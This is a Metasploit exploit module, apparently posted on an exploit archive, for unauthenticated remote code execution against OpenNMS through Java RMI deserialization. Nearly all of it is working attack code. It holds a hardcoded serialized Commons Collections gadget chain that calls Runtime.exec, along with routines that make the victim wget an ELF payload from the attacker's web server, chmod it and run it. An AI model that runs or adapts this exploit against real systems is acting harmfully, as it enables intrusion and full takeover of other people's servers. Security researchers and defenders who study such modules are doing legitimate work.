OpenNMS - Java Object Unserialization Remote Code Execution (Metasploit)

2016-10-20 14:05:30

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution',
'Description' => %q(
This module exploits a vulnerability in the OpenNMS Java object which allows
an unauthenticated attacker to run arbitary code against the system.
),
'Author' =>
[
'Ben Turner <benpturner[at]yahoo.com>', # @benpturner
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ]
],
'Targets' =>
[
[ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 19 2014'
)
)

register_options(
[
Opt::RPORT(1099),
OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/'])
], self.class)
end

# This is the execute function that is re-used throughout
def exec_command(cmd)
vprint_status("#{peer} - Downloading the file #{cmd}")

# Do the exploit command bit
data1 = "\x4a\x52\x4d\x49\x00\x02\x4b"
data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00"
data2 += cmd.length.chr
data2 += cmd
data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F"

begin
connect
sock.put(data1)

# Wait for a successful response
data = recv_protocol_ack # rescue nil
unless data
fail_with(Failure::Unknown, "This system has not responded with the correct RMI header")
end

# Send the RMI payload
sock.put(data2)

# Disconnect
disconnect

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host")
end
end

# Wget the file onto the host in the temp directory
def wget_payload
resource_uri = '/' + @dropped_elf

if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

vprint_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service(
'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }
)

exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}")

Rex.sleep(15)
end

# Change permissions to permit binary execution
def chmod_payload
cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

vprint_status("#{peer} - Chmod the payload...")
res = exec_command(cmd)

fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res

Rex.sleep(1)
end

# Execute payload on host
def exec_payload
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

vprint_status("#{peer} - Executing the payload...")
res = exec_command(cmd)

fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res

Rex.sleep(1)
end

# Handle incoming requests from the server
def on_request_uri(cli, _request)
vprint_status("#{peer} - Sending the payload to the server...")
send_response(cli, generate_payload_exe)
end

# Create the payload and run the commands in succcession
def exploit
print_status("#{peer} - Exploting the vulnerable service...")

@payload_url = ''
@dropped_elf = rand_text_alpha(rand(5) + 3)

wget_payload
chmod_payload
exec_payload
end
end

Fixes

No fixes

In order to submit a new fix you need to be registered.